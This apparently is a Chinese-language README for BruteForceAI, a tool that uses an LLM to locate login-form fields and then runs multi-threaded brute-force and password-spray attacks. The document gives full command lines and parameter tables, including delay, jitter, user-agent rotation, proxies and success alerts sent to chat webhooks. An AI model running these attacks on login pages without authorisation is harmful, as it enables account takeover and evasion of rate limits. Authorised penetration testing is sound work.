BruteForceAI 是一款先进的渗透测试工具,通过集成大型语言模型(LLM)进行智能表单分析,彻底革新了传统的暴力破解攻击。该工具利用 AI 自动识别登录表单选择器,然后以类人行为模式执行复杂的多线程攻击。
# Python 3.8 or higher
python --version
使用内置的 venv 将依赖项与系统 Python 隔离:
# 1. Create a virtual environment
python -m venv .venv
# 2. Activate it
# Windows (PowerShell):
.venv\Scripts\Activate.ps1
# Windows (cmd):
.venv\Scripts\activate.bat
# macOS / Linux:
source .venv/bin/activate
注意:
python -m venv .venv步骤只需执行一次。在每个新的终端会话中,使用该工具前请重新运行激活命令(第 2 步)。要退出虚拟环境,请运行deactivate。
# Install Python packages
pip install -r requirements.txt
# Install the Playwright browser
playwright install chromium
所需软件包:
playwright - 浏览器自动化requests - HTTP 请求PyYAML - 用于更新检查的 YAML 解析# Install Ollama
curl -fsSL https://ollama.ai/install.sh | sh
# Pull recommended model
ollama pull llama3.2:3b
--llm-provider groq --llm-api-key YOUR_KEY 进行调用Ollama(本地):
llama3.2:3b - 默认模型,速度与质量平衡良好llama3.2:1b - 速度最快,较小的模型,适合快速分析qwen2.5:3b - 性能良好的替代方案Groq(云端):
llama-3.3-70b-versatile - 默认且最佳 - 质量卓越的最新模型(1 次尝试)llama3-70b-8192 - 快速可靠的替代方案(1 次尝试)gemma2-9b-it - 轻量级选项,适合简单表单(1 次尝试)llama-3.1-8b-instant - ⚠️ 不推荐(存在速率限制问题,需 3 次以上尝试)# Best quality (recommended for complex forms)
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model llama-3.3-70b-versatile --llm-api-key YOUR_KEY
# Fast and reliable
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model llama3-70b-8192 --llm-api-key YOUR_KEY
# Lightweight for simple forms
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model gemma2-9b-it --llm-api-key YOUR_KEY
# Local processing (no API key needed)
python BruteForceAI.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b
python BruteForceAI.py analyze --urls urls.txt --llm-provider ollama
python BruteForceAI.py attack --urls urls.txt --usernames users.txt --passwords passwords.txt --threads 10
python BruteForceAI.py <command> [options]
analyze - 使用 LLM 分析登录表单attack - 执行暴力破解攻击clean-db - 清理数据库表check-updates - 检查软件更新# Step 1: Analyze forms
python BruteForceAI.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b
# Step 2: Attack with 20 threads
python BruteForceAI.py attack --urls targets.txt --usernames users.txt --passwords passwords.txt --threads 20 --delay 5 --jitter 2
python BruteForceAI.py attack \
--urls targets.txt \
--usernames users.txt \
--passwords passwords.txt \
--mode passwordspray \
--threads 15 \
--delay 10 \
--jitter 3 \
--success-exit \
--user-agents user_agents.txt \
--verbose \
--output results.txt
python BruteForceAI.py attack \
--urls targets.txt \
--usernames users.txt \
--passwords passwords.txt \
--discord-webhook "https://discord.com/api/webhooks/..." \
--slack-webhook "https://hooks.slack.com/services/..." \
--threads 10
python BruteForceAI.py analyze \
--urls targets.txt \
--show-browser \
--browser-wait 5 \
--debug \
--llm-provider ollama
# Check for software updates
python BruteForceAI.py check-updates
# Check with output to file
python BruteForceAI.py check-updates --output update_check.txt
# Skip version check completely for faster startup
python BruteForceAI.py analyze --urls targets.txt --skip-version-check
python BruteForceAI.py attack --urls targets.txt --usernames users.txt --passwords passwords.txt --skip-version-check
# Also works as global flag (before subcommand)
python BruteForceAI.py --skip-version-check analyze --urls targets.txt
| 参数 | 描述 | 默认值 |
|---|---|---|
--llm-provider | LLM 提供商(ollama/groq) | ollama |
--llm-model | 模型名称 | llama3.2:3b(ollama),llama-3.3-70b-versatile(groq) |
--llm-api-key | Groq 的 API 密钥 | None |
--ollama-url | Ollama 服务器 URL | http://localhost:11434 |
--selector-retry | 选择器重试次数 | 10 |
--force-reanalyze | 强制重新分析 | False |
| 参数 | 描述 | 默认值 |
|---|---|---|
--mode | 攻击模式(bruteforce/passwordspray) | bruteforce |
--threads | 线程数 | 1 |
--delay | 尝试之间的延迟(秒) | 0 |
--jitter | 随机抖动(秒) | 0 |
--success-exit | 首次成功后停止 | False |
--force-retry | 重试已有的尝试 | False |
| 参数 | 描述 | 默认值 |
|---|---|---|
--dom-threshold | DOM 差异阈值 | 100 |
--retry-attempts | 网络重试次数 | 3 |
| 参数 | 描述 | 默认值 |
|---|---|---|
--user-agents | User-Agent 文件 | None |
--proxy | 代理服务器 | None |
--show-browser | 显示浏览器窗口 | False |
--browser-wait | 可见时的等待时间 | 0 |
| 参数 | 描述 | 默认值 |
|---|---|---|
--verbose | 详细时间戳 | False |
--debug | 调试信息 | False |
--output | 将输出保存到文件 | None |
--no-color | 禁用颜色 | False |
--database | SQLite 数据库文件路径 | bruteforce.db |
| 参数 | 描述 |
|---|---|
--discord-webhook | Discord webhook URL |
--slack-webhook | Slack webhook URL |
--teams-webhook | Teams webhook URL |
--telegram-webhook | Telegram 机器人令牌 |
--telegram-chat-id | Telegram 聊天 ID |
BruteForceAI 包含简单的更新检查功能,让你随时了解新版本。
--skip-version-check 标志# Check for updates manually (same as automatic but can save to file)
python BruteForceAI.py check-updates
# Check with output to file
python BruteForceAI.py check-updates --output update_check.txt